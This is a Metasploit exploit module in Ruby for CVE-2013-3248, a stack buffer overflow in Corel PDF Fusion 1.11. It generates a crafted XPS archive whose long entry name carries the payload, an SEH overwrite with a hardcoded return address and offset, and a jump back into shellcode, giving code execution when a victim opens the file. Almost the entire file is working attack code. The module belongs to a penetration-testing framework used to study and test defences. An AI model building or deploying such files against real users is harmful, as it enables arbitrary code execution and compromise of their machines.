##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex/zip'


class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::FILEFORMAT
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Corel PDF Fusion Stack Buffer Overflow',
			'Description'    => %q{
				This module exploits a stack-based buffer overflow vulnerability in version 1.11 of
				Corel PDF Fusion. The vulnerability exists while handling a XPS file with long entry
				names. In order for the payload to be executed, an attacker must convince the target
				user to open a specially crafted XPS file with Corel PDF Fusion. By doing so, the
				attacker can execute arbitrary code as the target user.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Kaveh Ghaemmaghami', # Vulnerability discovery
					'juan vazquez' # Metasploit module
				],
			'References'     =>
				[
					[ 'CVE', '2013-3248' ],
					[ 'OSVDB', '94933' ],
					[ 'BID', '61010' ],
					[ 'URL', 'http://secunia.com/advisories/52707/' ]
				],
			'Platform'       => [ 'win' ],
			'Payload'        =>
				{
					'DisableNops' => true,
					'Space' => 4000
				},
			'Targets'        =>
				[
					# Corel PDF Fusion 1.11 (build 2012/04/25:21:00:00)
					# CorelFusion.exe 2.6.2.0
					# ret from unicode.nls # call dword ptr ss:[ebp+0x30] # tested over Windows XP SP3 updates
					[ 'Corel PDF Fusion 1.11 / Windows XP SP3', { 'Ret' => 0x00280b0b, 'Offset' => 4640 } ]
				],
			'DisclosureDate' => 'Jul 08 2013',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('FILENAME', [ true, 'The output file name.', 'msf.xps'])
			], self.class)

	end


	def exploit
		template = [
			"[Content_Types].xml",
			"_rels/.rels",
			"docProps/thumbnail.jpeg",
			"docProps/core.xml",
			"FixedDocSeq.fdseq",
			"Documents/1/Pages/_rels/1.fpage.rels",
			"Documents/1/_rels/FixedDoc.fdoc.rels",
			"Documents/1/FixedDoc.fdoc",
			"Documents/1/Structure/Fragments/1.frag",
			"Documents/1/Structure/DocStructure.struct",
			"Documents/1/Pages/1.fpage",
		]

		xps = Rex::Zip::Archive.new
		template.each do |k|
			xps.add_file(k, rand_text_alpha(10 + rand(20)))
		end

		resources_length = "Resources/".length
		sploit = "Resources/"
		sploit << payload.encoded
		sploit << rand_text(target['Offset'] - sploit.length)
		sploit << generate_seh_record(target.ret)
		sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-#{target['Offset'] + 8 - resources_length}").encode_string # 8 => seh_record length
		sploit << rand_text(1500) # Trigger exception

		xps.add_file(sploit, rand_text_alpha(10 + rand(20)))

		print_status("Creating '#{datastore['FILENAME']}' file...")
		file_create(xps.pack)
	end

end
